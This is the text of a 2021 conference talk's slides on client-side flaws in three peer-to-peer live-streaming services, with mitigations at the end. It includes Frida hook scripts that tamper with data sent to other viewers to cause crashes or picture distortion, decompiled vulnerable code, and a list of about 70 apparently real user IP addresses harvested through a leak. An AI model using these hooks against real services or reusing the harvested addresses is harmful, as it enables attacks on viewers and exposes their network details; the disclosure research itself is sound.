

TRACK2

HITBSECCONF

AMSTERDAM - 2021

Client-Side Attack on Live-Streaming Services Using Grid Computing

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About Us



TaiSic
Yun



Taiho
Kim



Suhwan
Myeong




Sunhong
Hwang



Seungmin
Yoon

What is Grid Computing?



Type of Grid Computing

- Computational Grid

- Performing complex operations using functions such as CPU or GPU

- Data Grid 

- Sharing and managing large amounts of distributed data

- Access Grid


- A collection of resources and technologies that enables large format audio and video based collaboration between groups of people in different locations

Case Study: What uses Grid Computing


- P2P Based Services

- e.g.

- File upload/download platform
 - Live-Streaming service platform



Live-Streaming Service and Grid Computing



Company A



Company B



Company C

01. Building Environment for Test

- ✓ Tested in private channel to prevent harm to other clients
- ✓ Filter IP/PORT during on hooking with Frida

02. Process Execution Flow Analysis

- ✓ Process execution flow analysis with monitoring tools
- ✓ Checking privilege of process

03. Protocol Analysis

- ✓ Analysis of packet flows and data protocol using Wireshark
- ✓ Hooking with Frida

04. Code Analysis

- ✓ Static Analysis using disassembler
- ✓ Dynamic Analysis using debugger and hooking

05. Mutation

- ✓ Mutating received data by hooking `recv()`
- ✓ Mutating data to send by hooking `WSASend()/Send()`

06. Crash dump Analysis

- ✓ Prevent to send crash dump to server
- ✓ Root Cause Analysis

HARD THINGS

1 Real-Time Service : Independent execution is impossible

- Hooking-based analysis using Frida
- Analysis after triggering crash using Windbg and Pykd

2 Anti-Debugging & Themida Protector

- Themida unpacking script, pe-sieve, memory dump
- Cheat Engine VEH Debugger, x64dbg ScyllaHide

3 Can't control peer connection

- Using Python, write automation code to repeat reconnection until connected to a specific IP
- Write forced connection code to establish a socket connection to a specific client

4 Too large scale to analyze all

- Measure code coverage using LightHouse
- Focusing on the API used for grid communication.

5 RAM Availability & Network traffic


- Bought more RAM and better WIFI...

Bypass Themida

```
Function name
f CXMLParser::GetReturnText(void)
f CXMLParser::GetReturnInnerTagCount(void)
f CXMLParser::operator=(CXMLParser const &)
f start
f sub_98D009
f sub_98D044
```

Not Readable Binary

Line 6 of 6




```
Function name
f sub_401FF0
f sub_402110
f sub_4021F0
f sub_402430
f sub_402550
f sub_402690
f sub_4028E0
f sub_4029E0
f sub_402B60
f sub_402E30
f sub_402E50
f sub_402EC0
f sub_402F00
f sub_402F70
f sub_403290
f sub_4034A0
f sub_4036C0
f sub_403750
```


Readable Binary

Line 15 of 2104

Process Flow




Process Structure




Grid Structure

Socket Connection

Tree based Grid




Mesh based Grid




Grid Structure

Tree based Grid




Grid Structure


Mesh based Grid



Process Structure



Attack Surface



Comparison Table

Attack Surface	Company A	Company B	Company C
With Main Server	Undiscovered	Undiscovered	Discovered
With Update Server	Discovered	Undiscovered	Undiscovered
Initial Data	Discovered	Discovered	Discovered
Request Data	Not Applicable	Undiscovered	Discovered
Video Data	Discovered	Discovered	Discovered



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


Comparison Table


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Attack Surface



Attack Surface



Communications with Main Server

Platform	Company A	Company B	Company C
Contents	<ul style="list-style-type: none">◦ Analyzing data that communicates with the server using Frida to hook the recv/send function◦ Packet Analysis using Wireshark	<ul style="list-style-type: none">◦ Analyzing data that communicates with the server using Frida to hook the recv/send function◦ Packet Analysis using Wireshark	<ul style="list-style-type: none">◦ Packet Analysis using Wireshark and API Monitor
Vuln.	Undiscovered	Undiscovered	<ul style="list-style-type: none">◦ <u>Private IP exposure</u> about connected clients
At	-	-	<ul style="list-style-type: none">◦ Windows Web Browser

Unnecessary information of client can be exposure during P2P connection

Company C

Private IP Exposure

```
.....R.....O?.R6.J..}=f^..l.#Qp.C..a.6.;0...*CLOSE|4:174F3F1F5236114AB3107D3D05665EEA
.....>..I..*.l...
.....>..I..*.l...l.#Qp.C..a.6.;0... \ROUTE|18:F72105235170B343988161DA369A3B4F
/...+ 192.168.0.25
.....q.....q.q...
.....>..I..*.l...
.....n.{...O..l.W...
.....n.{...O..l.W...l.#Qp.C..a.6.;0... _ROUTE|19:F72105235170B343988161DA369A3B4F
2.....q.....q.q...
.....d...@.HC..W'.
.....&f...E.|e.[.9S...u...L.<.*.'z. ....
.....&f...E.|e.[.9S.l.#Qp.C..a.6.;0...ZROUTE|20:F72105235170B343988161DA369A3B4F
-....) 10.10.10.89 .....q.q...
.....u...L.<.*.'z.l.#Qp.C..a.6.;0...aROUTE|21:F72105235170B343988161DA369A3B4F
4...0 192.168.219.103 .....q.q...
.....S.....u...L.<.*.'z.l.#Qp.C..a.6.;0...+CLOSE|21:F72105235170B343988161DA369A3B4F
.....
```

Fig1. IP Exposure in packet


```
1 import re
2
3 num_of_line = 0
4 num_of_ip = 0
5
6 iplist = []
7 newlist = []
8 with open("ip.txt") as f:
9     for line in f:
10        num_of_line += 1
11        ip = re.findall(r'([0-9]{1,3}\.){3}[0-9]{1,3}', line[10:-1])
12        if len(ip) is not 0 and ip[0] != "21.0.0.2":
13            if len(ip) == 2:
14                iplist.append([ip[0][:-1], ip[1][:-1]])
15                num_of_ip += len(ip)
16
17 for i in iplist:
18     if i not in newlist:
19         newlist.append(i)
20
21 print(newlist)
22 print(len(newlist))
```

```
['192.168.0.35'], ['119.65.195.197'], ['192.168.219.111'], ['108.185.233.147'], ['192.168.1.17'], ['1.240.0.139'], ['10.51.148.198'], ['121.153.146.56'], ['172.30.1.19'],
['49.172.120.236'], ['192.168.219.181'], ['222.117.179.189'], ['192.168.0.2'], ['14.38.74.129'], ['172.30.1.27'], ['211.34.134.194'], ['172.31.109.11'], ['221.138.146.169'],
['192.168.0.11'], ['121.130.134.49'], ['192.168.0.19'], ['61.98.5.120'], ['192.168.0.11'], ['106.241.179.118'], ['192.168.10.17'], ['121.154.66.100'], ['192.168.0.10'],
['14.43.3.212'], ['10.200.1.36'], ['59.14.230.19'], ['192.168.0.20'], ['112.163.52.230'], ['192.168.0.47'], ['220.116.158.88'], ['192.168.0.5'], ['112.186.160.144'],
['172.30.1.17'], ['218.145.224.78'], ['192.168.0.23'], ['218.144.232.249'], ['192.168.0.29'], ['121.140.219.101'], ['192.168.0.10'], ['211.217.139.101'], ['192.168.1.101'],
['222.117.134.233'], ['192.168.0.8'], ['210.221.237.229'], ['192.168.1.19'], ['112.169.179.199'], ['172.30.1.57'], ['121.166.126.64'], ['192.168.0.5'], ['1.223.168.19'],
['192.168.0.24'], ['175.192.219.81'], ['175.192.219.81'], ['211.221.173.46'], ['172.16.0.115'], ['59.7.120.49'], ['192.168.0.10'], ['114.203.35.227'], ['10.200.201.165'],
['222.101.202.100'], ['222.101.202.100'], ['59.25.126.67'], ['192.168.5.40'], ['118.36.122.126'], ['192.168.0.134'], ['175.208.212.14'], ['192.168.0.5'], ['211.251.171.225'],
['10.100.62.135'], ['223.56.171.136'], ['192.168.0.17'], ['118.222.153.03'], ['192.168.25.38'], ['218.159.201.53'], ['192.168.0.4'], ['110.10.118.165'], ['192.168.0.2'],
['119.64.210.212'], ['192.168.0.23'], ['121.149.152.61'], ['172.30.1.20'], ['115.95.165.4'], ['192.168.0.8'], ['180.227.218.60'], ['192.168.219.102'], ['211.119.186.202'],
['192.168.100.67'], ['211.219.244.75'], ['192.168.0.43'], ['1.220.58.76'], ['192.168.0.33'], ['121.154.36.125'], ['10.5.36.10'], ['211.220.63.4'], ['192.168.0.150'],
['115.21.250.126'], ['192.168.0.2'], ['61.96.79.68'], ['192.168.0.103'], ['221.163.21.162'], ['10.10.10.183'], ['59.29.49.18'], ['192.168.0.102'], ['118.221.173.36'],
['10.25.67.98'], ['211.199.71.217'], ['211.199.71.217'], ['121.184.157.164'], ['172.21.156.37']]
70
```


Fig2. Collecting Private IP using python

- ✓ Information Leak
- ✓ Main server sends private IP which is unnecessary for connection.
- ✓ We could collect 70 more private IP using python in 2 hrs.

Attack Surface



Attack Surface



Communications with Update Server

Platform	Company A	Company B	Company C
Contents	<ul style="list-style-type: none">◦ Manager.exe is running in background◦ When clients use the service, Manager.exe executes Updater.exe automatically◦ File execute as admin	<ul style="list-style-type: none">◦ Mutated file runs as it is◦ Check with directory and file name◦ Update is triggered when PC is booted◦ MacOS : Update server is using HTTPS	<ul style="list-style-type: none">◦ Analysis packet for update◦ Update Server is using HTTP◦ Trigger Update : Comparing SHA1 value in local file with the hash value from server◦ Check if file is mutated through verifying digital signature
Vuln.	<ul style="list-style-type: none">◦ <u>Mutate Update file and Execute</u>	Undiscovered	<ul style="list-style-type: none">◦ <u>Invoke downgrade to older version</u>
At	<ul style="list-style-type: none">◦ Windows Web Browser	-	<ul style="list-style-type: none">◦ Windows Web Browser

- ✓ Execute as admin
- ✓ Updater.exe is triggered automatically (No user interaction)


Company A

Remote Code Execution as root via Update File Tampering

```
if ( !String || !wcslen(String) || wcslen(String) >= 0x1388 || a2 && wcslen(a2) >= 0x1388 )
    return 0;
snwprintf(&Buffer, 0x2710u, L"%s", String);
snwprintf(&ApplicationName, 0x2710u, L"%s", String);
if ( a2 )
    snwprintf(&Source, 0x2710u, L"%s", a2);
StartupInfo.cb = 68;
if ( wcslen(&Source) )
{
    wcscat(&Buffer, L" ");
    wcscat(&Buffer, &Source);
}
if ( wcslen(&Buffer) >= 0x104 )
    v6 = CreateProcessW(&ApplicationName, &Buffer, 0, 0, 0, 0, 0, 0, &StartupInfo, &ProcessInformation);
else
    v6 = CreateProcessW(0, &Buffer, 0, 0, 0, 0, 0, 0, &StartupInfo, &ProcessInformation);
```

```
ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::Format(
    &v35,
    L"%s%s",
    Buffer,
    L"AFCUpdater.exe");
v18 = strlenA(&String) + 1;
v19 = alloca(2 * v18);
v20 = sub_404DE0(v29, &String, v18, CodePage);
ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::Format(
    &v34,
    L"/a:%d %s Ver1 %d %s%d",
    a3,
    v20,
    v17,
    L"ADMIN",
    *(_DWORD*)(v33 + 200));
v27 = v34;
v26 = v35;
v21 = sub_402440(&off_42D53C, 2489);
sub_401E40(v21, 4, L"RunAfreeca - ExecuteProcess - [%s][%s]", v26, v27);
v25 = (wchar_t *)ATL::CStringT<wchar_t,1>::operator wchar_t const *(&v34);
filename = (wchar_t *)ATL::CStringT<wchar_t,1>::operator wchar_t const *(&v35);
if ( execute_process_func(filename, v25, 1, 0, (int)&v30, 0) )
```

There is no sub-routine that check if file is mutated before file execution.




Suhwan Myeong | Client-Side Attack on Live-Streaming Services Using Grid Computing



Company C

Prevented by Digital Signature Check




pseudocode in Manager.exe


```
if ( (unsigned __int8)CheckCodeSignValidationW(v7) )
{
    pExecInfo.cbSize = 60;
    memset(&pExecInfo.fMask, 0, 0x38u);
    pExecInfo.fMask = 64;
    pExecInfo.nShow = 1;
    pExecInfo.lpVerb = L"open";
    pExecInfo.lpFile = (LPCWSTR)sub_4112F0(v16);
    pExecInfo.lpParameters = (LPCWSTR)sub_4112F0(v13);
    if ( !ShellExecuteExW(&pExecInfo) )
        v12 = -1;
    LOBYTE(v20) = 1;
    sub_4111D0(v13);
    LOBYTE(v20) = 0;
    sub_4111D0(v16);
    v20 = -1;
    sub_4111D0(&a1);
    result = v12;
}
```

- ✓ Check if file is mutated using Digital Signature.
- ✓ But It can invoke downgrade to older version

Attack Surface



Attack Surface




Mutating Init. Data

Platform	Company A	Company B	Company C
Contents	<ul style="list-style-type: none">◦ Packet Analysis◦ Hooking recv/send func. using Frida◦ Initial data is for P2P connection◦ Initial data Analysis◦ Send init. data format to another client who is not connected	<ul style="list-style-type: none">◦ Initial data Analysis◦ Data protocol includes First Sequence and Last Sequence◦ To mutate field of size of the packet can invoke Heap based buffer overflow	<ul style="list-style-type: none">◦ Packet Analysis / P2P communication◦ User Authentication with Ticket from server◦ Data sender first attempts to connect◦ So Stealing is hard◦ Fixed Port number
Vuln.	<ul style="list-style-type: none">◦ Stealing Video	<ul style="list-style-type: none">◦ Heap Based Buffer Overflow◦ Stealing Video	<ul style="list-style-type: none">◦ Denial of Service
At	<ul style="list-style-type: none">◦ Windows Web Browser	<ul style="list-style-type: none">◦ Windows Web Browser◦ MacOS	<ul style="list-style-type: none">◦ Windows Web Browser

Stealing video is possible depending on the subject that transmits the initial data

Company A

Video Stealing with Initial Data



- ✓ An attacker could receive any video data.
- ✓ Even if it ask some authentication or password.

The screenshot displays a Windows 10 desktop with several open windows:


- WSL-Default Terminal:** Shows a terminal window with the prompt `th@DESKTOP-NTIK11F` and a list of sessions.
- Task Manager:** Open to the 'Processes' tab, showing system resources and running processes.

이름	상태	19% CPU	41% 메모리	1% 디스크	0% 네트워크	27% GPU	GPU 엔진	전력 사용량
Windows 명령 처리기(2)		0%	7.7MB	0MB/s	0Mbps	0%		매우 낮음
Windows 탐색기(2)		2.0%	71.3MB	0MB/s	0Mbps	0%		낮음
계산기(2)		0%	20.3MB	0MB/s	0Mbps	0%		매우 낮음
메모장		0%	1.9MB	0MB/s	0Mbps	0%		매우 낮음
작업 관리자		0.3%	37.5MB	0MB/s	0Mbps	0%		매우 낮음
백그라운드 프로세스 (108)								
Adobe Acrobat Update Service(32비트)		0%	0.3MB	0MB/s	0Mbps	0%		매우 낮음
AFCPackage(32비트)		0%	4.2MB	0MB/s	0Mbps	0%		매우 낮음
afreecatvstreamer.exe(32비트)		0%	18.9MB	0MB/s	0Mbps	0%		매우 낮음
Antimalware Service Executable		0%	137.6MB	0MB/s	0Mbps	0%		매우 낮음
Application Frame Host		0%	10.6MB	0MB/s	0Mbps	0%		매우 낮음
- File Explorer:** Open to the 'test' folder, showing files:


이름	수정된 날짜	유형	크기
ffmpeg.exe	2020-08-31 오전 4:14	응용 프로그램	77,494KB
ffplay.exe	2020-08-31 오전 4:14	응용 프로그램	77,359KB
ffprobe.exe	2020-08-31 오전 4:14	응용 프로그램	77,393KB
- Terminal (Bottom):** Shows the command prompt path: `C:\Users*ik\i\Desktop\BOB_Project\ffmpeg\test>`

Company B

Video Stealing with Initial Data



An unauthorized person may steal video data from the channel for services requiring authentication




Company B

Heap Based Buffer Overflow due to Data Length Modulation of Initial Data

0000	70 5d cc bf 43 17 58 96 1d 62 06 33 08 00 45 00	p]..C.X. .b.3..E.
0010	00 95 cd d0 40 00 80 06 00 00 c0 a8 00 05 70 a9@... ..p.
0020	68 f2 2e e8 06 69 ac 2b 22 4c c8 80 f8 e4 50 18	h...i.+ "L...P.
0030	10 04 9a d0 00 00 40 00 00 59 00 00 00 00 00 00@. .Y.....
0040	00 00 01 f2 2c 69 00 00 00 59 00 00 00 51 46 53,i... .Y...QFS
0050	45 51 3d 38 38 30 35 39 37 34 32 3b 4c 53 45 51	EQ=88059 742;LSEQ
0060	3d 38 38 30 36 35 36 34 39 3b 44 45 50 54 48 3d	=8806564 9;DEPTH=
0070	32 3b 4e 53 45 52 56 49 4e 47 3d 36 30 3b 55 43	2;NSERVI NG=60;UC
0080	50 55 3d 31 34 3b 55 4d 45 4d 3d 33 34 3b 41 54	PU=14;UM EM=34;AT
0090	54 52 3d 32 3b 49 53 50 49 4e 44 45 58 3d 36 00	TR=2;ISP INDEX=6.
00a0	00 00 00	...


— : Packet Header
— : Data Length

```
data_size = ntohl(*chunk);
v7 = chunk + 1;
src = chunk + 1;
if ( data_size )
{
  *(_QWORD *)dest = 0i64;
  call_malloc_memset(data_size, dest, 0); // 여기서 할당하고 버퍼를 초기화함, 할당은 HeapAlloc()
  data_size2 = dest[0];
  vuln_memmove((void *)dest[1], src, dest[0]);
  src = (char *)src + data_size2;
  v9 = data_size2;
  v10 = (void *)dest[1];
  sub_5A66ADC0(&lpMem, (void *)dest[1], v9);
  LOBYTE(v19) = 1;
  sub_5A6B6F70(&lpMem, (int)L"FSEQ", unkown_chunk + 0xC0); // wchar_t
  sub_5A6B6F70(&lpMem, (int)L"LSEQ", unkown_chunk + 0xC8);
  sub_5A6B7510(&lpMem, (int)L"DEPTH", unkown_chunk + 0xE8);
  sub_5A6B7510(&lpMem, (int)L"NSERVING", unkown_chunk + 0xF4);
  sub_5A6B7510(&lpMem, (int)L"UCPU", unkown_chunk + 0x100);
  sub_5A6B7510(&lpMem, (int)L"UMEM", unkown_chunk + 0xFC);
  sub_5A6B6F70(&lpMem, (int)L"ATTR", unkown_chunk + 0x80);
  sub_5A6B7510(&lpMem, (int)L"ISPINDEX", unkown_chunk + 0xF8);
}
```



✓ Heap Based Buffer Overflow
memmove(arg1, arg2, "Attacker's Input")







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Attack Surface



Attack Surface





Mutating Req. Data

Platform	Company A	Company B	Company C
Contents	<ul style="list-style-type: none"> No request data Just send data to client in tree-based grid 	<ul style="list-style-type: none"> In the initial connection process, the sequence number was transmitted to find the requested data. However, this is part of the initial connection process, which leads to disconnection unless it is a sequence within a certain interval. 	<ul style="list-style-type: none"> A receiver sends a 0x1b byte to sender for video data The requested data includes the Seq Num of the video data The sender parses the header of the request data and transmits the video data corresponding to the sequence number
Vuln.	Undiscovered	Undiscovered	<ul style="list-style-type: none"> Denial of Service
At	-	-	<ul style="list-style-type: none"> Windows Web Browser


Index Access based on Request
Peer-to-Peer communication

Company C


Denial of Service




- ✓ It reads Seq Num field by number of Request data.
- ✓ By altering the Seq Num field, It overreads packet.
- ✓ Process is terminated but not processed properly, if outside the actual packet range.



Attack Surface



Attack Surface




Mutating Video Data

Platform	Company A	Company B	Company C
Contents	<ul style="list-style-type: none"> ◦ Mutating header part of the packet ◦ Mutating the video data area other than the header ◦ As a result, Other clients' screen were broken or completely controlled by an attacker 	<ul style="list-style-type: none"> ◦ Static Analysis : Sequences of calling recv() func ~ malloc() func. ◦ Hooking WSASend() func. ◦ Mutating length field of the packet 	<ul style="list-style-type: none"> ◦ Using Frida, Hooking the WSASend() function to mutate video data ◦ Mutating the video data area other than the header ◦ As a result, Other clients' screen were broken.
Vuln.	<ul style="list-style-type: none"> ◦ Heap Based Buffer Overflow ◦ Pirate Broadcasting 	<ul style="list-style-type: none"> ◦ Denial of Service ◦ Picture Distortion 	<ul style="list-style-type: none"> ◦ Picture Distortion
At	<ul style="list-style-type: none"> ◦ Windows Web Browser ◦ Windows App ◦ IOS / MacOS 	<ul style="list-style-type: none"> ◦ Windows Web Browser ◦ Android ◦ MacOS 	<ul style="list-style-type: none"> ◦ Windows Web Browser


✓ Weak data integrity verification

Company A

Heap Based Buffer Overflow




✓ By modulation the size value of the `memcpy()`, Heap Based Buffer Overflow occurs




Company A

Pirate Broadcasting by modulation of video data




✓ No validation on tampered data, so existing video data can be replaced with new video data and transmitted to other clients for pirated broadcasting.




Company A

Pirate Broadcasting by modulation of video data




✓ No validation on tampered data, so existing video data can be replaced with new video data and transmitted to other clients for pirated broadcasting.



Company A

Pirate Broadcasting by modulation of video data



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Company B

Denial of Service

```
this.s = args[0];
this.lpBuffers = args[1];
this.dwBufferCount = args[2];
this.lpNumberOfBytesSent = args[3];
this.dwFlags = args[4];
this.lpOverlapped = args[5];
this.lpCompletionRoutine = args[6];

var address = Socket.peerAddress(parseInt(this.s));

var buff_len = Memory.readInt(ptr(this.lpBuffers));
var lpwbuf = this.lpBuffers;
lpwbuf = (lpwbuf.toInt32()+4);
var sec_bufflen = Memory.readInt(ptr(lpwbuf+4));

var dptr = Memory.readInt(ptr(lpwbuf));
var sec_dptr = Memory.readInt(ptr(lpwbuf+8));

var head_len = Memory.readByteArray(ptr(dptr).add(16), 4);
var hlen = new Uint8Array(head_len);

if(address.ip == "192.168.0.1"){
  if(this.dwBufferCount == '0x2'){
    Memory.writeByteArray(ptr(dptr).add(16), test_head);
    Memory.writeByteArray(ptr(this.lpBuffers).add(8), tt_head);
    Memory.writeByteArray(ptr(sec_dptr).add(44), in_dataLen);
    Memory.writeByteArray(ptr(this.lpNumberOfBytesSent), wsasendlen);
    console.log("=====");
  }
}
```

Hook the WSASend() function in WS2_22.dll using Frida, arbitrarily modulating and sending the data length value sent to another client.

Company B



Denial of Service



(실버3)

Company B

Picture Distortion



Company B

Memory corruption via Sequence Number field modulation

```
> Frame 17869: 1514 bytes on  
> Ethernet II, Src: 17:43:bf:  
> Internet Protocol Version 4  
> Transmission Control Protoc
```

0000	d8 f2 ca 0c 0c ce 17 43	e1 02 3b 0b 02 1b c0 80v.P.
0010	05 dc c2 90 40 00 72 06	
0020	00 0a 2e e0 15 e0 94 cc	9b fc 02 76 b5 3f 50 10	..k...@. -6.....
0030	02 01 6b 06 00 00 40	03 00 36 00 00 00 00 004.. !4...../
0040	00 00 01 fd 15 34 00 00	21 34 00 00 00 00 00 2f
0050	0f dc 00 00 00 00 00 10	15 f8 00 15 00 01 00 00
0060	00 51 d5 39 67 60 00 00	00 51 d5 43 a0 90 05 00	.Q.9g`.. .Q.C....
0070	02 d0 05 00 02 d0 00 00	21 00 00 00 01 67 4d!.....gM
0080	40 1f ec a0 28 02 dd 80	88 00 00 03 00 08 00 00	@... (.....
0090	3e 80 78 c1 8c b0 00 00	00 01 58 eb ec b2 00 00	>-x.....-h.....
00a0	01 65 88 84 01 ff dd 2e	dd 1b c7 32 7c 15 27 e9	.e..... .2 .'.

Header
0x20 bytes

```
v4 = *((_DWORD *)lpMem + 2) % (signed __int64)(signed int)v3[348]; // *(lpMem+  
memaddr = (void ***)v2[35][(DWORD)v4]; // 영상데이터의 8byte 값을 변조하  
if ( memaddr )  
{  
  if ( (!(unsigned __int8)sub_1004CE10(v3 + 20) || *((_WORD *)v2 + 42) != *((  
    && ((unsigned __int8)sub_1004CE10(v3 + 20) && *((_WORD *)v2 + 42) == *((  
  {  
    v11 = crash_func_1(memaddr, (int)&savedregs, (void **)lpMem, 0);  
  }  
}  
  
push    edx  
push    eax  
push    dword ptr [edi+14h]  
push    dword ptr [edi+10h]  
call    __allrem ; Call Procedure  
mov     ecx, [ebx+8Ch]  
mov     eax, [ecx+eax*4]  
  
EAX FFFFFFFF  
EBX 0790EE70  
ECX 00000010  
EDX FFFFFFFF  
  
v7 = GetTickCount();  
v8 = v5[7]; // 9  
v5[14] = (void **)v7;  
v5[15] = 0;  
(*(void (**)(void))v8 + 2)();  
v9 = (unsigned int *)(v5 + 8);
```

Data


8-byte :
Packet Sequence number

Crash occurs while referencing memory
because % operation result is negative
due to wrong type declaration




Company C

Picture Distortion




```
if ( size > 0x1000 && this.address.ip == "192.168.0.14") {  
  
    console.log("[*] . . . "+this.address.ip + ':' + this.address.port);  
    var mutation = [0xff, 0xff, 0xff, 0xff, 0xfe, 0xfe, 0xff, 0xff];  
  
    //console.log("[*] num_sent : 0x",num_sent.toString(16));  
    console.log("[+] data size : 0x",size.toString(16));  
    console.log("[+] data ptr: 0x",mem.toString(16));  
  
    Memory.writeByteArray(ptr("0x" + mem.toString(16)).add(0x100+j), mutation);  
    console.log("[After]");  
    console.log(Memory.readByteArray(ptr("0x" + mem.toString(16)), 0x110+j));  
}
```

- ✓ Using Frida
- ✓ Hooking WSASend() func. and mutating video data



Company C

Picture Distortion



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Vuln. Type

Vulnerability	Company A	Company B	Company C
Picture Distortion	O	O	O
Stealing Video	O	O	X
File Tampering	O	X	△
Information Leakage	X	X	O
DoS(Denial of Service)	O	O	O

Security Measures

With Main server

- ✓ Beware of unnecessary information disclosure
- ✓ Delete : fixed port number and private IP number

With Update server

- ✓ HTTPS
- ✓ Detect file tampering / Digital signature

P2P - Initial data

- ✓ Enhance authentication for user to connect

P2P - Request data

- ✓ Ensure data integrity

P2P - Video data

- ✓ Distributes control of the flow of receiving data
- ✓ Ensure data integrity

Thank You

For your attention

